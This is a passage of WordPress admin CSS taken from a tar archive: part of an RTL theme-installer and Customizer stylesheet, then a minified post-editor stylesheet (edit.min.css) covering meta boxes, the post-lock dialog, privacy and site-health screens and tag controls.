22px/1 dashicons; content: "\f335"; content: "\f335" / ''; position: relative; top: 7px; right: 13px; } .theme-install-overlay .previous-theme:before { font: normal 20px/1 dashicons; content: "\f345"; content: "\f341" / ''; position: relative; top: 6px; right: 14px; } .theme-install-overlay .next-theme:before { font: normal 20px/1 dashicons; content: "\f341"; content: "\f345" / ''; position: relative; top: 6px; right: 13px; } .theme-install-overlay .previous-theme.disabled, .theme-install-overlay .next-theme.disabled, .theme-install-overlay .previous-theme.disabled:hover, .theme-install-overlay .previous-theme.disabled:focus, .theme-install-overlay .next-theme.disabled:hover, .theme-install-overlay .next-theme.disabled:focus { color: #c3c4c7; background: #f0f0f1; cursor: default; pointer-events: none; } .theme-install-overlay .close-full-overlay, .theme-install-overlay .previous-theme, .theme-install-overlay .next-theme { border-right: 0; border-top: 0; border-bottom: 0; } .theme-install-overlay .close-full-overlay:before, .theme-install-overlay .previous-theme:before, .theme-install-overlay .next-theme:before { top: 2px; right: 0; } /* Collapse Button */ .wp-core-ui .wp-full-overlay .collapse-sidebar { position: fixed; bottom: 0; right: 0; padding: 9px 10px 9px 0; height: 45px; color: #646970; outline: 0; line-height: 1; background-color: transparent !important; border: none !important; box-shadow: none !important; border-radius: 0 !important; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #2271b1; } .wp-full-overlay .collapse-sidebar-arrow, .wp-full-overlay .collapse-sidebar-label { display: inline-block; vertical-align: middle; line-height: 1.6; } .wp-full-overlay .collapse-sidebar-arrow { width: 20px; height: 20px; margin: 0 2px; /* avoid the focus box-shadow to be cut-off */ border-radius: 50%; overflow: hidden; } .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-full-overlay .collapse-sidebar-label { margin-right: 3px; } .wp-full-overlay.collapsed .collapse-sidebar-label { display: none; } .wp-full-overlay .collapse-sidebar-arrow:before { display: block; content: "\f148"; content: "\f148" / ''; background: #f0f0f1; font: normal 20px/1 dashicons; padding: 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar { padding: 9px 10px; } /* rtl:ignore */ .wp-full-overlay.collapsed .collapse-sidebar-arrow:before, .rtl .wp-full-overlay .collapse-sidebar-arrow:before { transform: rotate(180.001deg); /* Firefox: promoting to its own layer to trigger anti-aliasing */ } .rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before { transform: none; } /* Animations */ @media (prefers-reduced-motion: no-preference) { .wp-full-overlay, .wp-full-overlay-sidebar, .wp-full-overlay .collapse-sidebar, .wp-full-overlay-main { transition-property: right, left, top, bottom, width, margin; transition-duration: 0.2s; } } /* Device/preview size toggles */ .wp-full-overlay { background: #1d2327; } .wp-full-overlay-main { background-color: #f0f0f1; } .expanded .wp-full-overlay-footer { position: fixed; bottom: 0; right: 0; min-width: 299px; max-width: 599px; width: 18%; width: calc( 18% - 1px ); height: 45px; border-top: 1px solid #dcdcde; background: #f0f0f1; } .wp-full-overlay-footer .devices-wrapper { float: left; } .wp-full-overlay-footer .devices { position: relative; background: #f0f0f1; box-shadow: 20px 0 10px -5px #f0f0f1; } .wp-full-overlay-footer .devices button { cursor: pointer; background: transparent; border: none; height: 45px; padding: 0 3px; margin: 0 -4px 0 0; box-shadow: none; border-top: 1px solid transparent; border-bottom: 4px solid transparent; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; } .wp-full-overlay-footer .devices button:focus { box-shadow: none; outline: none; } .wp-full-overlay-footer .devices button:before { display: inline-block; -webkit-font-smoothing: antialiased; font: normal 20px/30px "dashicons"; vertical-align: top; margin: 3px 0; padding: 4px 8px; color: #646970; } .wp-full-overlay-footer .devices button.active { border-bottom-color: #1d2327; } .wp-full-overlay-footer .devices button:hover, .wp-full-overlay-footer .devices button:focus { background-color: #fff; } .wp-full-overlay-footer .devices button:focus, .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #2271b1; } .wp-full-overlay-footer .devices button.active:before { color: #1d2327; } .wp-full-overlay-footer .devices button:hover:before, .wp-full-overlay-footer .devices button:focus:before { color: #2271b1; } .wp-full-overlay-footer .devices .preview-desktop:before { content: "\f472"; content: "\f472" / ''; } .wp-full-overlay-footer .devices .preview-tablet:before { content: "\f471"; content: "\f471" / ''; } .wp-full-overlay-footer .devices .preview-mobile:before { content: "\f470"; content: "\f470" / ''; } @media screen and (max-width: 1024px) { .wp-full-overlay-footer .devices { display: none; } } .collapsed .wp-full-overlay-footer .devices button:before { display: none; } .preview-mobile .wp-full-overlay-main { margin: auto -160px auto 0; width: 320px; height: 480px; max-height: 100%; max-width: 100%; right: 50%; } .preview-tablet .wp-full-overlay-main { margin: auto -360px auto 0; width: 720px; /* Size is loosely based on a typical "tablet" device size. Intentionally ambiguous - this does not represent any particular device precisely. */ height: 1080px; max-height: 100%; max-width: 100%; right: 50%; } /*------------------------------------------------------------------------------ 24.0 - Customize Loader ------------------------------------------------------------------------------*/ .no-customize-support .hide-if-no-customize, .customize-support .hide-if-customize, .no-customize-support.wp-core-ui .hide-if-no-customize, .no-customize-support .wp-core-ui .hide-if-no-customize, .customize-support.wp-core-ui .hide-if-customize, .customize-support .wp-core-ui .hide-if-customize { display: none; } #customize-container, #customize-controls .notice.notification-overlay { background: #f0f0f1; z-index: 500000; position: fixed; overflow: visible; top: 0; bottom: 0; right: 0; left: 0; height: 100%; } #customize-container { display: none; } /* Make the Customizer and Theme installer overlays the only available content. */ #customize-container, .theme-install-overlay { visibility: visible; } .customize-loading #customize-container iframe { opacity: 0; } #customize-container iframe, .theme-install-overlay iframe { height: 100%; width: 100%; z-index: 20; transition: opacity 0.3s; } #customize-controls { margin-top: 0; } .theme-install-overlay { display: none; } .theme-install-overlay.single-theme { display: block; } .install-theme-info { display: none; padding: 10px 20px 60px; } .single-theme .install-theme-info { padding-top: 15px; } .theme-install-overlay .install-theme-info { display: block; } .install-theme-info .theme-install { float: left; margin-top: 18px; } .install-theme-info .theme-name { font-size: 16px; line-height: 1.5; margin-bottom: 0; margin-top: 0; } .install-theme-info .theme-screenshot { margin: 15px 0; width: 258px; border: 1px solid #c3c4c7; position: relative; overflow: hidden; } .install-theme-info .theme-screenshot > img { width: 100%; height: auto; position: absolute; right: 0; top: 0; } .install-theme-info .theme-screenshot:after { content: ""; display: block; padding-top: 66.66666666%; } .install-theme-info .theme-details { overflow: hidden; } .theme-details .theme-version { margin: 15px 0; } .theme-details .theme-description { float: right; color: #646970; line-height: 1.6; max-width: 100%; } .theme-install-overlay .wp-full-overlay-header .button { float: left; margin: 7px 0 0 10px; /* Vertically center 32px button in 45px header */ min-height: 32px; line-height: 2.30769231; /* 30px for 32px height with 13px font */ } .theme-install-overlay .wp-full-overlay-sidebar { background: #f0f0f1; border-left: 1px solid #dcdcde; } .theme-install-overlay .wp-full-overlay-sidebar-content { background: #fff; border-top: 1px solid #dcdcde; border-bottom: 1px solid #dcdcde; } .theme-install-overlay .wp-full-overlay-main { position: absolute; z-index: 0; background-color: #f0f0f1; } .customize-loading #customize-container { background-color: #f0f0f1; } #customize-preview.wp-full-overlay-main:before, .customize-loading #customize-container:before, #customize-controls .notice.notification-overlay.notification-loading:before, .theme-install-overlay .wp-full-overlay-main:before { content: ""; display: block; width: 20px; height: 20px; position: absolute; right: 50%; top: 50%; z-index: -1; margin: -10px -10px 0 0; transform: translateZ(0); background: transparent url(../images/spinner.gif) no-repeat center center; background-size: 20px 20px; } #customize-preview.wp-full-overlay-main.iframe-ready:before, .theme-install-overlay.iframe-ready .wp-full-overlay-main:before { background-image: none; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .wp-full-overlay .collapse-sidebar-arrow { background-image: url(../images/arrows-2x.png); background-size: 15px 123px; } #customize-preview.wp-full-overlay-main:before, .customize-loading #customize-container:before, #customize-controls .notice.notification-overlay.notification-loading:before, .theme-install-overlay .wp-full-overlay-main:before { background-image: url(../images/spinner-2x.gif); } } @media screen and (max-width: 782px) { .available-theme .action-links .delete-theme { float: none; margin: 0; padding: 0; clear: both; } .available-theme .action-links .delete-theme a { padding: 0; } .broken-themes table { width: 100%; } .theme-install-overlay .wp-full-overlay-header .button { font-size: 13px; } .theme-browser .theme .theme-actions .button { margin-bottom: 0; } .theme-browser .theme.active .theme-actions, .theme-browser .theme .theme-actions { padding-top: 4px; padding-bottom: 4px; } .upload-plugin .wp-upload-form, .upload-theme .wp-upload-form { width: 100%; box-sizing: border-box; } .upload-plugin .wp-upload-form input[type=file], .upload-theme .wp-upload-form input[type=file] { padding: 30px 30px 30px 0; width: 100%; } } css/edit.min.css 0000644 00000073562 15233246127 0007577 0 ustar 00 /*! This file is auto-generated */ #poststuff{padding-top:10px;min-width:763px}#poststuff #post-body{padding:0}#poststuff .postbox-container{width:100%}#poststuff #post-body.columns-2{margin-right:300px}#show-comments{overflow:hidden}#save-action .spinner,#show-comments a{float:left}#show-comments .spinner{float:none;margin-top:0}#lost-connection-notice .spinner{visibility:visible;float:left;margin:0 5px 0 0}#titlediv{position:relative}#titlediv label{cursor:text}#titlediv div.inside{margin:0}#poststuff #titlewrap{border:0;padding:0}#titlediv #title{padding:3px 8px;font-size:1.7em;line-height:100%;height:1.7em;width:100%;outline:0;margin:0 0 3px;background-color:#fff}#titlediv #title-prompt-text{color:#646970;position:absolute;font-size:1.7em;padding:10px;pointer-events:none}#titlewrap .skiplink{background:#fff;line-height:2.30769231;min-height:32px;right:4px}#titlewrap .skiplink:focus{clip:inherit;clip-path:inherit;top:4px;width:auto}input#link_description,input#link_url{width:100%}#pending{background:0 none;border:0 none;padding:0;font-size:11px;margin-top:-1px}#comment-link-box,#edit-slug-box{line-height:1.84615384;min-height:25px;margin-top:5px;padding:0 10px;color:#646970}#sample-permalink{display:inline-block;max-width:100%;word-wrap:break-word}#edit-slug-box .cancel{margin-right:10px;padding:0}#comment-link-box{margin:5px 0;padding:0 5px}#editable-post-name-full{display:none}#editable-post-name{font-weight:600}#editable-post-name input{font-size:13px;font-weight:400;min-height:32px;margin:0;width:16em}.postarea h3 label{float:left}body.post-new-php .submitbox .submitdelete{display:none}.submitbox .submit a:hover{text-decoration:underline}.submitbox .submit input{margin-bottom:8px;margin-right:4px;padding:6px}#post-status-select{margin-top:3px}body.post-type-wp_navigation .inline-edit-status,body.post-type-wp_navigation div#minor-publishing{display:none}.is-dragging-metaboxes .metabox-holder .postbox-container .meta-box-sortables{border-radius:8px;background:rgb(var(--wp-admin-theme-color--rgb),.04);min-height:60px;margin-bottom:20px}.postbox{position:relative;min-width:255px;border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff}#trackback_url{width:99%}#normal-sortables .postbox .submit{background:transparent none;border:0 none;float:right;padding:0 12px;margin:0}.category-add input[type=text],.category-add select{width:100%;max-width:260px;vertical-align:baseline}#side-sortables .category-add input[type=text],#side-sortables .category-add select{margin:0 0 1em}#side-sortables .add-menu-item-tabs li,.wp-tab-bar li,ul.category-tabs li{display:inline;line-height:1.35}.no-js .category-tabs li.hide-if-no-js{display:none}#side-sortables .add-menu-item-tabs a,.category-tabs a,.wp-tab-bar a{text-decoration:none}#post-body ul.add-menu-item-tabs li.tabs a,#post-body ul.category-tabs li.tabs a,#side-sortables .add-menu-item-tabs .tabs a,#side-sortables .category-tabs .tabs a,.wp-tab-bar .wp-tab-active a{color:#2c3338}.category-tabs{margin:8px 0 5px}#category-adder h4{margin:0}.taxonomy-add-new{display:inline-block;margin:10px 0;font-weight:600}#side-sortables .add-menu-item-tabs,.wp-tab-bar{margin-bottom:3px}#normal-sortables .postbox #replyrow .submit{float:none;margin:0;padding:5px 7px 10px;overflow:hidden}#side-sortables .submitbox .submit .preview,#side-sortables .submitbox .submit a.preview:hover,#side-sortables .submitbox .submit input{border:0 none}ul.add-menu-item-tabs,ul.category-tabs,ul.wp-tab-bar{margin-top:12px}ul.add-menu-item-tabs li,ul.category-tabs li{border:solid 1px transparent;position:relative}.wp-tab-active,ul.add-menu-item-tabs li.tabs,ul.category-tabs li.tabs{border:1px solid #dcdcde;border-bottom-color:#fff;background-color:#fff}ul.add-menu-item-tabs li,ul.category-tabs li,ul.wp-tab-bar li{padding:3px 5px 6px}#set-post-thumbnail{display:inline-block;max-width:100%}#postimagediv .inside img{max-width:100%;height:auto;vertical-align:top;background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}form#tags-filter{position:relative}.ui-tabs-hide,.wp-hidden-children .wp-hidden-child{display:none}#post-body .tagsdiv #newtag{margin-right:0;flex:1;min-width:0}#side-sortables input#post_password{width:94%}#side-sortables .tagsdiv #newtag{flex:1;min-width:0}#post-status-info{width:100%;border-spacing:0;border:1px solid #c3c4c7;border-top:none;background-color:#f6f7f7;box-shadow:0 1px 1px rgba(0,0,0,.04);z-index:999}#post-status-info td{font-size:12px}.autosave-info{padding:2px 10px;text-align:right}#editorcontent #post-status-info{border:none}#content-resize-handle{background:transparent url(../images/resize.gif) no-repeat scroll right bottom;width:12px;cursor:row-resize}.rtl #content-resize-handle{background-image:url(../images/resize-rtl.gif);background-position:left bottom}.wp-editor-expand #content-resize-handle{display:none}#postdivrich #content{resize:none}#wp-word-count{padding:2px 10px}#wp-content-editor-container{position:relative}.wp-editor-expand #wp-content-editor-tools{z-index:1000;border-bottom:1px solid #c3c4c7}.wp-editor-expand #wp-content-editor-container{box-shadow:none;margin-top:-1px}.wp-editor-expand #wp-content-editor-container{border-bottom:0 none}.wp-editor-expand div.mce-statusbar{z-index:1}.wp-editor-expand #post-status-info{border-top:1px solid #c3c4c7}.wp-editor-expand div.mce-toolbar-grp{z-index:999}.mce-fullscreen #wp-content-wrap .mce-edit-area,.mce-fullscreen #wp-content-wrap .mce-menubar,.mce-fullscreen #wp-content-wrap .mce-statusbar,.mce-fullscreen #wp-content-wrap .mce-toolbar-grp{position:static!important;width:auto!important;padding:0!important}.mce-fullscreen #wp-content-wrap .mce-statusbar{visibility:visible!important}.mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw{display:none}.mce-fullscreen #wp-content-wrap .mce-wp-dfw,.post-php.mce-fullscreen #wpadminbar{display:none}#wp-content-editor-tools{background-color:#f0f0f1;padding-top:20px}#poststuff #post-body.columns-2 #side-sortables{width:280px}#timestampdiv select{vertical-align:top;font-size:12px;line-height:2.33333333}#aa,#hh,#jj,#mn{padding:6px 1px;font-size:12px;line-height:1.16666666}#hh,#jj,#mn{width:2em}#aa{width:3.4em}.curtime #timestamp{padding:2px 0 1px;display:inline!important;height:auto!important}#post-body #visibility:before,#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-response-to:before,#post-body .misc-pub-revisions:before,#post-body .misc-pub-uploadedby:before,#post-body .misc-pub-uploadedto:before,.curtime #timestamp:before{color:#8c8f94}#post-body #visibility:before,#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-response-to:before,#post-body .misc-pub-revisions:before,#post-body .misc-pub-uploadedby:before,#post-body .misc-pub-uploadedto:before,.curtime #timestamp:before{font:normal 20px/1 dashicons;display:inline-block;margin-left:-1px;padding-right:3px;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before{content:"\f173";content:"\f173"/''}#post-body #visibility:before{content:"\f177";content:"\f177"/''}.curtime #timestamp:before{content:"\f145";content:"\f145"/'';position:relative;top:-1px}#post-body .misc-pub-uploadedby:before{content:"\f110";content:"\f110"/'';position:relative;top:-1px}#post-body .misc-pub-uploadedto:before{content:"\f318";content:"\f318"/'';position:relative;top:-1px}#post-body .misc-pub-revisions:before{content:"\f321";content:"\f321"/''}#post-body .misc-pub-response-to:before{content:"\f101";content:"\f101"/''}#timestampdiv{padding-top:5px;line-height:1.76923076}#timestampdiv p{margin:8px 0 6px}#timestampdiv input{text-align:center}.notification-dialog{position:fixed;top:30%;max-height:70%;left:50%;width:450px;margin-left:-225px;background:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);line-height:1.5;z-index:1000005;overflow-y:auto}.notification-dialog-background{position:fixed;top:0;left:0;right:0;bottom:0;background:#000;opacity:.7;z-index:1000000}#post-lock-dialog .post-locked-message,#post-lock-dialog .post-taken-over{margin:25px}#file-editor-warning .button,#post-lock-dialog .post-locked-message a.button{margin-right:10px}#post-lock-dialog .post-locked-avatar{float:left;margin:0 20px 20px 0}#post-lock-dialog .wp-tab-first{outline:0}#post-lock-dialog .locked-saving img{float:left;margin-right:3px}#post-lock-dialog.saved .locked-saved,#post-lock-dialog.saving .locked-saving{display:inline}#excerpt{display:block;margin:12px 0 0;height:4em;width:100%}.tagchecklist{margin-left:14px;font-size:12px;overflow:auto}.tagchecklist br{display:none}.tagchecklist strong{margin-left:-8px;position:absolute}.tagchecklist>li{float:left;margin-right:25px;font-size:13px;line-height:1.8;cursor:default;max-width:100%;overflow:hidden;text-overflow:ellipsis}.tagchecklist .ntdelbutton{position:absolute;width:24px;height:24px;border:none;margin:0 0 0 -19px;padding:0;background:0 0;cursor:pointer;text-indent:0}#poststuff .stuffbox>h3,#poststuff h2,#poststuff h3.hndle{font-size:14px;padding:8px 12px;margin:0;line-height:1.4}#poststuff .stuffbox h2{padding:8px 10px}#poststuff .stuffbox>h2{border-bottom:1px solid #f0f0f1}#poststuff .inside{margin:6px 0 0}.link-add-php #poststuff .inside,.link-php #poststuff .inside{margin-top:12px}#poststuff .stuffbox .inside{margin:0}#poststuff .inside #page_template,#poststuff .inside #parent_id{max-width:100%}.post-attributes-label-wrapper{margin-bottom:.5em}.post-attributes-label{vertical-align:baseline;font-weight:600}#comment-status-radio,#post-visibility-select{line-height:1.5;margin-top:3px}#linksubmitdiv .inside,#poststuff #submitdiv .inside{margin:0;padding:0}#post-body-content,.edit-form-section{margin-bottom:20px}.wp_attachment_details .attachment-content-description{margin-top:.5385em;display:inline-block;min-height:1.6923em}.privacy-settings #wpcontent,.privacy-settings.auto-fold #wpcontent,.site-health #wpcontent,.site-health.auto-fold #wpcontent{padding-left:0}.privacy-settings .notice,.site-health .notice{margin:25px 20px 15px 22px}.privacy-settings .notice~.notice,.site-health .notice~.notice{margin-top:5px}.health-check-header h1,.privacy-settings-header h1{display:inline-block;font-weight:600;margin:0 .8rem 1rem;font-size:23px;padding:9px 0 4px;line-height:1.3}.health-check-header,.privacy-settings-header{text-align:center;margin:0 0 1rem;background:#fff;border-bottom:1px solid #dcdcde}.health-check-title-section,.privacy-settings-title-section{display:flex;align-items:center;justify-content:center;clear:both;padding-top:8px}.privacy-settings-tabs-wrapper{display:-ms-inline-grid;-ms-grid-columns:1fr 1fr;vertical-align:top;display:inline-grid;grid-template-columns:1fr 1fr}.privacy-settings-tab{display:block;text-decoration:none;color:inherit;padding:.5rem 1rem 1rem;margin:0 1rem;transition:box-shadow .5s ease-in-out}.health-check-tab:first-child,.privacy-settings-tab:first-child{-ms-grid-column:1}.health-check-tab:nth-child(2),.privacy-settings-tab:nth-child(2){-ms-grid-column:2}.health-check-tab:focus,.privacy-settings-tab:focus{color:#1d2327;outline:1px solid #787c82;box-shadow:none}.health-check-tab.active,.privacy-settings-tab.active{box-shadow:inset 0 -3px var(--wp-admin-theme-color);font-weight:600}.health-check-body,.privacy-settings-body{max-width:800px;margin:0 auto}.tools-privacy-policy-page th{min-width:230px}.hr-separator{margin-top:20px;margin-bottom:15px}.health-check-accordion,.privacy-settings-accordion{border:1px solid #c3c4c7}.health-check-accordion-heading,.privacy-settings-accordion-heading{margin:0;border-top:1px solid #c3c4c7;font-size:inherit;line-height:inherit;font-weight:600;color:inherit}.health-check-accordion-heading:first-child,.privacy-settings-accordion-heading:first-child{border-top:none}.health-check-accordion-trigger,.privacy-settings-accordion-trigger{background:#fff;border:0;color:#2c3338;cursor:pointer;display:flex;font-weight:400;margin:0;padding:1em 3.5em 1em 1.5em;min-height:46px;position:relative;text-align:left;width:100%;align-items:center;justify-content:space-between;-webkit-user-select:auto;user-select:auto}.health-check-accordion-trigger:active,.health-check-accordion-trigger:hover,.privacy-settings-accordion-trigger:active,.privacy-settings-accordion-trigger:hover{background:#f6f7f7}.health-check-accordion-trigger:focus,.privacy-settings-accordion-trigger:focus{color:#1d2327;border:none;box-shadow:none;outline-offset:-1px;outline:2px solid var(--wp-admin-theme-color);background-color:#f6f7f7}.health-check-accordion-trigger .title,.privacy-settings-accordion-trigger .title{pointer-events:none;font-weight:600;flex-grow:1}.health-check-accordion-trigger .icon,.privacy-settings-accordion-trigger .icon,.privacy-settings-view-read .icon,.site-health-view-passed .icon{border:solid #50575e;border-width:0 2px 2px 0;height:.5rem;pointer-events:none;position:absolute;right:1.5em;top:50%;transform:translateY(-70%) rotate(45deg);width:.5rem}.health-check-accordion-trigger .badge,.privacy-settings-accordion-trigger .badge{padding:.1rem .5rem .15rem;color:#2c3338;font-weight:600}.privacy-settings-accordion-trigger .badge{margin-left:.5rem}.health-check-accordion-trigger .badge.blue,.privacy-settings-accordion-trigger .badge.blue{border:1px solid var(--wp-admin-theme-color)}.health-check-accordion-trigger .badge.orange,.privacy-settings-accordion-trigger .badge.orange{border:1px solid #dba617}.health-check-accordion-trigger .badge.red,.privacy-settings-accordion-trigger .badge.red{border:1px solid #e65054}.health-check-accordion-trigger .badge.green,.privacy-settings-accordion-trigger .badge.green{border:1px solid #00ba37}.health-check-accordion-trigger .badge.purple,.privacy-settings-accordion-trigger .badge.purple{border:1px solid #2271b1}.health-check-accordion-trigger .badge.gray,.privacy-settings-accordion-trigger .badge.gray{border:1px solid #c3c4c7}.health-check-accordion-trigger[aria-expanded=true] .icon,.privacy-settings-accordion-trigger[aria-expanded=true] .icon,.privacy-settings-view-passed[aria-expanded=true] .icon,.site-health-view-passed[aria-expanded=true] .icon{transform:translateY(-30%) rotate(-135deg)}.health-check-accordion-panel,.privacy-settings-accordion-panel{margin:0;padding:1em 1.5em;background:#fff}.health-check-accordion-panel[hidden],.privacy-settings-accordion-panel[hidden]{display:none}.health-check-accordion-panel a .dashicons,.privacy-settings-accordion-panel a .dashicons{text-decoration:none}.privacy-settings-accordion-actions{justify-content:right;display:flex;align-items:center;flex-wrap:wrap;gap:1em}.privacy-settings-accordion-actions .success{display:none;color:#007017}.privacy-settings-accordion-actions .success.visible{display:inline-block}.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-policy-tutorial,.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-text-copy,.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .wp-policy-help{display:none}.privacy-settings-accordion-panel strong.privacy-policy-tutorial,.privacy-settings-accordion-panel strong.wp-policy-help{display:block;margin:0 0 1em}.privacy-text-copy span{pointer-events:none}.privacy-settings-accordion-panel .wp-suggested-text div>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel .wp-suggested-text>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel div>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p){margin:0;padding:1em;border-left:2px solid #787c82}@media screen and (max-width:782px){.health-check-body,.privacy-settings-body{margin:0 12px;width:auto}.privacy-settings .notice,.site-health .notice{margin:5px 10px 15px}.privacy-settings .update-nag,.site-health .update-nag{margin-right:10px;margin-left:10px}input#create-page{margin-top:10px}.wp-core-ui button.privacy-text-copy{white-space:normal;line-height:1.8}#edit-slug-box{padding:0}#editable-post-name input{min-height:40px}}@media only screen and (max-width:1004px){.health-check-body,.privacy-settings-body{margin:0 22px;width:auto}}#postcustomstuff thead th{padding:5px 8px 8px;background-color:#f0f0f1}#postcustom #postcustomstuff .submit{border:0 none;float:none;padding:0 8px 8px}#postcustom #postcustomstuff .add-custom-field{padding:12px 8px 8px}#side-sortables #postcustom #postcustomstuff .submit{margin:0;padding:0}#side-sortables #postcustom #postcustomstuff #the-list textarea{height:85px}#side-sortables #postcustom #postcustomstuff td.left input,#side-sortables #postcustom #postcustomstuff td.left select,#side-sortables #postcustomstuff #newmetaleft a{margin:3px 3px 0}#postcustomstuff table{margin:0;width:100%;border:1px solid #dcdcde;border-spacing:0;background-color:#f6f7f7}#postcustomstuff tr{vertical-align:top}#postcustomstuff table input,#postcustomstuff table select,#postcustomstuff table textarea{width:96%;margin:8px}#side-sortables #postcustomstuff table input,#side-sortables #postcustomstuff table select,#side-sortables #postcustomstuff table textarea{margin:3px}#postcustomstuff td.left,#postcustomstuff th.left{width:38%}#postcustomstuff .submit input{margin:0;width:auto}#postcustomstuff #newmeta-button,#postcustomstuff #newmetaleft a{display:inline-block;margin:0 8px 8px;text-decoration:none}.no-js #postcustomstuff #enternew{display:none}#post-body-content .compat-attachment-fields{margin-bottom:20px}.compat-attachment-fields th{padding-top:5px;padding-right:10px}#select-featured-image{padding:4px 0;overflow:hidden}#select-featured-image img{max-width:100%;height:auto;margin-bottom:10px}#select-featured-image a{float:left;clear:both}#select-featured-image .remove{display:none;margin-top:10px}.js #select-featured-image.has-featured-image .remove{display:inline-block}.no-js #select-featured-image .choose{display:none}.post-format-icon::before{display:inline-block;vertical-align:middle;height:20px;width:20px;margin-top:-4px;margin-right:7px;color:#dcdcde;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}a.post-format-icon:hover:before{color:#135e96}#post-formats-select{line-height:2}#post-formats-select .post-format-icon::before{top:5px}input.post-format{margin-top:1px}label.post-format-icon{margin-left:0;padding:2px 0}.post-format-icon.post-format-standard::before{content:"\f109";content:"\f109"/''}.post-format-icon.post-format-image::before{content:"\f128";content:"\f128"/''}.post-format-icon.post-format-gallery::before{content:"\f161";content:"\f161"/''}.post-format-icon.post-format-audio::before{content:"\f127";content:"\f127"/''}.post-format-icon.post-format-video::before{content:"\f126";content:"\f126"/''}.post-format-icon.post-format-chat::before{content:"\f125";content:"\f125"/''}.post-format-icon.post-format-status::before{content:"\f130";content:"\f130"/''}.post-format-icon.post-format-aside::before{content:"\f123";content:"\f123"/''}.post-format-icon.post-format-quote::before{content:"\f122";content:"\f122"/''}.post-format-icon.post-format-link::before{content:"\f103";content:"\f103"/''}.category-adder{margin-left:120px;padding:4px 0}.category-adder h4{margin:0 0 8px}#side-sortables .category-adder{margin:0}.categorydiv div.tabs-panel,.customlinkdiv div.tabs-panel,.posttypediv div.tabs-panel,.taxonomydiv div.tabs-panel,.wp-tab-panel{min-height:42px;max-height:200px;overflow:auto;padding:0 .9em;border:solid 1px #dcdcde;background-color:#fff}div.tabs-panel-active{display:block}div.tabs-panel-inactive{display:none}div.tabs-panel-active:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#front-page-warning,#front-static-pages ul,.categorydiv ul.categorychecklist ul,.customlinkdiv ul.categorychecklist ul,.inline-editor ul.cat-checklist ul,.options-discussion-php .indent-children ul,.posttypediv ul.categorychecklist ul,.taxonomydiv ul.categorychecklist ul,ul.export-filters{margin-left:18px}ul.categorychecklist li{margin:0;padding:0;line-height:1.69230769;word-wrap:break-word}.categorydiv .tabs-panel,.customlinkdiv .tabs-panel,.posttypediv .tabs-panel,.taxonomydiv .tabs-panel{border-width:3px;border-style:solid}.form-wrap label{display:block;padding:2px 0}.form-field input[type=email],.form-field input[type=number],.form-field input[type=password],.form-field input[type=search],.form-field input[type=tel],.form-field input[type=text],.form-field input[type=url],.form-field textarea{border-style:solid;border-width:1px;width:95%}.form-field p,.form-field select{max-width:95%}.form-wrap p,p.description{margin:2px 0 5px;color:#646970}.form-wrap p,p.description,p.help,span.description{font-size:13px}p.description code{font-style:normal}.form-wrap p code,p.description code{color:#50575e}.form-wrap .form-field{margin:1em 0;padding:0}.col-wrap h2{margin:12px 0;font-size:1.1em}.col-wrap p.submit{margin-top:-10px}.edit-term-notes{margin-top:2em}#poststuff .tagsdiv .ajaxtag{margin-top:1em;display:flex;gap:8px;align-items:center}#poststuff .tagsdiv .howto{margin:1em 0 6px}.ajaxtag .newtag{position:relative}.tagsdiv .newtag{flex:1;min-width:0}.tagsdiv .the-tags{display:block;height:60px;margin:0 auto;overflow:auto;width:260px}#post-body-content .tagsdiv .the-tags{margin:0 5px}p.popular-tags{border:none;line-height:2em;padding:8px 12px 12px;text-align:justify}p.popular-tags a{padding:0 3px}.tagcloud{width:97%;margin:0 0 40px;text-align:justify}.tagcloud h2{margin:2px 0 12px}#poststuff .inside .the-tagcloud{margin:5px 0 10px;padding:8px;border:1px solid #dcdcde;line-height:1.2;word-spacing:3px}.the-tagcloud ul{margin:0}.the-tagcloud ul 